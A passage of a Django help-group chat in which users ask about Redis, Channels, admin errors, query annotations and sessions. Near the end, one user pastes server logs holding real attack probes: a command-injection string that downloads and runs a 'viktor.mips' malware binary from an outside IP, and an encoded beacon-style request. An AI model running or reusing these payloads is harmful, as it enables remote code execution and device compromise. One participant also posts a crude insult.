Alex
محمد دلشاد
!readscreen
yeah i do learned the errors but i m not getting it completely because django is telling me this:
Exception inside application: ERR unknown command 'EVAL'
Nirupam
Hi all, can anyone help me with the answer, where do we keep server credentials in django project.for production, qa?
Mirco
Mirco
Or Secrets Manager ( AWS Secrets Manager for example if you use AWS )
Nirupam
Ok thanks Micro
Nirupam
M sorry😊Mirco
Xavier
Anonymous
ERRORS:
<class 'post.admin.MyCompanyAdmin'>: (admin.E130) name attributes of actions defined in <class 'post.admin.MyCompanyAdmin'> must be unique.
Anonymous
Any hint on this error ? How to resolve this ?
Mirco
Name must unique
Mirco
It's pretty clear
محمد دلشاد
i have followed the tutorial section of channels it was previously woking fine just before i added the redis server part but now its not working and constantly giving me the same error and i.e.,
محمد دلشاد
await connection.eval(cleanup_script, keys=[], args=[channel, backup_queue])
aioredis.errors.ReplyError: ERR unknown command 'EVAL'
محمد دلشاد
and i am unable to understand it
محمد دلشاد
because my redis server is running perfectly
محمد دلشاد
i have tried ping command in cli it is responding perfect
Mostafa
just read the error !
Paschaljet
Hi guys..please how do I integrate paystack on my project ... I'm seeing JavaScript on paystack docs
_
Hi there. Whats wrong with my apache conf file, would u kindly take a look please? Its working as reverse proxy, but not serving my static files. https://pastebin.com/Kh3mcHCq
Manish
Hello friends, I am new in Django
My referesh page is work like submit button. And previous data again get saved in Database when I refresh the page
How can I solve this??
Adonis
Hi there, i have a class with two attribute clock_in and clock_out of DatetimeFiedl type both i want to make the difference between those two fields when fetching data, i did this:
qs.annotate(
hours_worked=Case(
When(
clock_out__isnull=True,
then=F('clock_in')
),
When(
clock_out__isnull=False,
then=F('clock_out') - F('clock_in'),
),
output_field=DateTimeField()
))
but i am having an error from SQL, saying tha CASE cannot deal with time and interval. It look like F('clock_out') - F('clock_in') is returning and interval instead of the result of this calculation.
Does some one knows how to fix it ?
Alex
Adonis
django.db.utils.ProgrammingError: CASE types timestamp with time zone and interval cannot be matched
Adonis
looks like : F('clock_out') - F('clock_in') is returning timedelta and the first When type is a datetime
Jb
TypeError at /contact/
send_mail() got multiple values for argument 'fail_silently'
Alex
Alex
Adonis
Alex
I'm not a girl on tinder and your code is not a dickpick to spam it! Google your error and read the function documentation.
Mirco
!paste
Doragonsureiyā
To share code or error tracebacks please use an online pasting service, here is a list of suggested sites:
- https://del.dog
- https://dpaste.org
- https://linkode.org
- https://hastebin.com
- https://bin.kv2.dev
Jb
!paste
https://del.dog/inubadigna.txt
Alex
https://del.dog/inubadigna.txt
I already told you - you messed up with calling args. https://docs.djangoproject.com/en/3.0/topics/email/#send-mail
Adonis
Alex
Adonis
yeah
Adonis
look at hour_worked attribute
Adonis
it's ok, i have update the serializer to display that attribute as TimeField
Adonis
hours_worked = serializers.TimeField(read_only=True)
Aditya
how to create session in Django?? I have created a login page but how to ccreate sessions?
Aditya
any blogs or tutorial?
Doragonsureiyā
any blogs or tutorial?
Looking for Django tutorials? you can follow these three recommended ones:
* Official documentation and tutorial
* Tutorial from MDN
* Tutorial from django-girls
Udasi
I am using Django all-auth for authentication. I observed that i can set a redirect url for login in settings.py by setting the variable
ACCOUNT_LOGOUT_REDIRECT_URL
but i want to redirect the user to the same page where he was before logging in. How do I do that?
L
Hi everyone! My boss sent me a dumpdata od a django app I cloned to my local environment and when I run loaddata since I first have to migrate the migrations I get duplication errors. Anyone knows how can I overcome this?
Anonymous
H .N.
Guys new to Django Help!!
Getting error -
Module Not Found:No module name '....'. '.....' is not a package ??
Getting this while running this command--
PYTHON manage.py makemigrations ...
Alex
Alex
Alex
And learn to read.
snc
Unable to use anything like request.user in django rest framework... no solution of stackoverflow working....
snc
snc
anyone??
Rajvir
I wanna learning about channels. Can anybody suggest from where should i learn it
cj
Jarosław ✙
Hello everyone, who created a site with a chronology of events or a story about "something" on Django?
AHMED MABROUK
Guys is it ok to read "two scoops of django 1.8"
AHMED MABROUK
I am using django 3.1
cj
AHMED MABROUK
cj
jam
hi, i have django on a VM on azure, and the VM is always falling after receiving a bad request, follow the log:
code 400, message Bad request syntax (addr = cd; rm -r ...
What can this be ?
jam
code 400, message Bad request syntax ("145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professional SP1 x64|'|'|No|'|'|0.7d|'|'|..|'|'|AA==|'|'|112.inf|'|'|SGFjS2VkDQoxOTIuMTY4LjkyLjIyMjo1NTUyDQpEZXNrdG9wDQpjbGllbnRhLmV4ZQ0KRmFsc2UNCkZhbHNlDQpUcnVlDQpGYWxzZQ==12.act|'|'|AA==")
[17/Jun/2020 09:05:15] "145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professional SP1 x64|'|'|No|'|'|0.7d|'|'|..|'|'|AA==|'|'|112.inf|'|'|SGFjS2VkDQoxOTIuMTY4LjkyLjIyMjo1NTUyDQpEZXNrdG9wDQpjbGllbnRhLmV4ZQ0KRmFsc2UNCkZhbHNlDQpUcnVlDQpGYWxzZQ==12.act|'|'|AA==" 400 -
jam
code 400, message Bad request syntax ('target_addr=;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /&waninf=1_INTERNET_R_VID_154')
[17/Jun/2020 02:46:12] "target_addr=;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /&waninf=1_INTERNET_R_VID_154" 400 -
jam
code 400, message Bad request syntax ('target_addr=;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /&waninf=1_INTERNET_R_VID_154')
[16/Jun/2020 16:56:38] "target_addr=;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /&waninf=1_INTERNET_R_VID_154" 400 -
jam
I need Help!!!
Muslim
jam
Ubuntu Server 18.04 On Azure VM
Muslim
jam
asgiref==3.2.3
beautifulsoup4==4.8.2
defusedxml==0.6.0
diff-match-patch==20181111
Django==3.0.4
django-bootstrap4==1.1.1
django-crispy-forms==1.9.1
django-import-export==2.0.1
django-multi-form-view==2.0.1
et-xmlfile==1.0.1
gunicorn==20.0.4
jdcal==1.4.1
MarkupPy==1.14
odfpy==1.4.1
openpyxl==3.0.3
Pillow==6.2.1
progressbar2==3.47.0
psycopg2-binary==2.8.4
python-utils==2.3.0
pytz==2019.3
PyYAML==5.3
six==1.13.0
soupsieve==1.9.5
sqlparse==0.3.0
static3==0.7.0
tablib==0.14.0
xlrd==1.2.0
xlwt==1.3.0
jam
Django==3.0.4
jam
which version of django to use for production?
Ghorz
Ghorz
jam
it is better to use 2.2 LTS until 2022 or 3.0 ..